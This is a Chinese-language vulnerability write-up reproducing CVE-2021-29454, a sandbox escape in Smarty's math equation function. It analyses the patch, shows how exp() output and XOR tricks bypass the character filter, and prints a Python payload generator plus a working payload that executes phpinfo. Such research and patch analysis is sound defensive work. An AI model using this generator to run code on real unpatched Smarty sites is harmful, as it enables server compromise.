Smarty模板引擎 最近又爆出一个沙箱逃逸的漏洞,CVE编号为CVE-2021-29454 。根据漏洞描述,漏洞点出在数学函数功能,可以构造恶意的数学表达式来运行任意php代码。
Smarty
Smarty 是一个php的模板引擎,之前爆出过CVE-2021-26119
和CVE-2021-26120
两个沙箱逃逸的漏洞。最近在比赛中,又遇到了这个模板引擎,搜了下,爆出来一个新的沙箱逃逸,仅有漏洞描述和fix commit,需要自己对照补丁和源码复现。
环境
漏洞影响范围: < 3.1.42
或 < 4.0.2
。
本文选择3.1.39
进行复现,需要创建一个Smarty实例,启用安全模式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php include_once ('./libs/Smarty.class.php' );$smarty = new Smarty ();$my_security_policy = new Smarty_Security ($smarty );$my_security_policy ->php_functions = null ;$my_security_policy ->php_handling = Smarty ::PHP_REMOVE ;$my_security_policy ->php_modifiers = null ;$my_security_policy ->static_classes = null ;$my_security_policy ->allow_super_globals = false ;$my_security_policy ->allow_constants = false ;$my_security_policy ->allow_php_tag = false ;$my_security_policy ->streams = null ;$my_security_policy ->php_modifiers = null ;$smarty ->enableSecurity ($my_security_policy );$smarty ->display ($_POST ['poc' ]);
分析
在网上搜了一圈,没有任何poc披露,仅有github上的描述:https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m
由描述不难得知,漏洞点在数学表达式功能处。
对应的修复为:https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71
漏洞修复增加对空白符号的处理,并从php官方文档中增加了对数学表达式的正则校验。从补丁处,无法获得更多有效信息。
同时,增加了几个测试用例。
本地环境调试一下测试用例:
1 string:{$x = "4" }{$y = "5.5" }{math equation ="`ls` x * y" x =$x y =$y }
在/libs/plugins/function.math.php
中抛出异常。
审计下源码,代码对反引号,美元符号,空表达式,不匹配的括号进行了处理。
给一组正常样例,在68行处下断点,进行单步调试。
1 string:{math equation =" x * y" x =5 y =6}
$equation
为传入的表达式,$params
为定义的变量,会对变量进行校验,仅允许数字/数字字符串。
line 82 - 91 提取表达式中的变量,在变量列表和函数白名单里查询,不存在就抛出异常。
后面替换对应变量,直接放到eval
中运行。
执行命令的关键就在于如何绕过上面的限制,将代码注入到eval
中。注意到,由于禁用了$
,我们无法定义新的变量,并且line 82的正则表达式子会匹配出所有的字母变量名。这代表我们无法使用字母去构造逃逸,直观来看,我们可用的字符集只有部分运算符号、0-9
、以及白名单中的函数。
常用操作可以通过异或操作,去拓展字符集来引入新的字符。但是,0-9
显然拓展不出几个新的字符。
回到白名单函数,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static $_allowed_funcs = array ( 'int' => true , 'abs' => true , 'ceil' => true , 'cos' => true , 'exp' => true , 'floor' => true , 'log' => true , 'log10' => true , 'max' => true , 'min' => true , 'pi' => true , 'pow' => true , 'rand' => true , 'round' => true , 'sin' => true , 'sqrt' => true , 'srand' => true , 'tan' => true );
注意到可用函数中有exp
函数,通过科学计数法,我们很容易就能获得E
和.
两个新字符。
1 2 3 4 php > var_dump (exp (100 ));float (2.6881171418161 E +43 )php > var_dump (strval (exp (100 )));string (19 ) "2.6881171418161E+43"
通过0-9E.
,我们就可以通过异或,拓展出来整个ascii字符集,
此外,Smarty对于数学表达式的处理中,只针对原有的字母变量进行了处理,对于后续运算得到的字符,并未处理,才造成了此处的沙箱逃逸。
复现
首先,构造payload。
由于通过拓展字符集构造出来的payload,一定是人类难以阅读的,不建议手动构造。
自动化构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import randomfrom typing import Counter rec = {} var = {}def xor (a, b ): return chr (ord (a) ^ ord (b))def expand (s ): keys = list (rec.keys()) for c in keys: t = xor(s, c) if t not in rec.keys(): rec[t] = rec[s] + rec[c]def expand_all (): for i in range (10 ): rec[str (i)] = list (str (i)) rec["E" ] = ["E" ] rec["." ] = ["..." ] for i in range (64 ): expand(random.choice(list (rec.keys()))) for k in rec.keys(): c = Counter(rec[k]) rec[k] = [_ for _ in c.keys() if c[_] % 2 ]def init (): expand_all() for i in range (10 ): c = chr (ord ('a' )+i) var[str (i)] = f"(({c} .{c} )[0])" var["E" ] = "((exp(100).b)[15])" var["..." ] = "((exp(100).b)[1])" def generate_code (cmd ): code = [f"({'^' .join(rec[c])} )" for c in cmd] return "." .join(code)def replace_var (code ): for c in var.keys(): code = code.replace(c, var[c]) return codedef generate_exp (expr ): var_expr = ["=" .join((chr (ord ('a' )+i), str (i))) for i in range (10 )] return 'string: {math equation="%s" %s}' % (expr, " " .join(var_expr))if __name__ == "__main__" : init() func = replace_var(generate_code("phpinfo" )) payload = generate_exp(f"({func} )()" ) print (payload)
payload:
1 string: {math equation="((((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((exp(100).b)[15] )^((e.e)[0] )).(((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((exp(100).b)[15] )^((c.c)[0] )).(((i.i)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )).(((b.b)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )))()" a=0 b=1 c=2 d=3 e=4 f=5 g=6 h=7 i=8 j=9}
复现:
其他
其实,还有更简单的利用方式。
Smarty中对数学表达式的符号的限制,仅仅限制了反引号和美元符号,对引号,括号,斜杠等等完全没有任何限制。
比如说,八进制。使用八进制构造字符串仅需要使用引号,斜杠,以及数字即可实现。
参考资料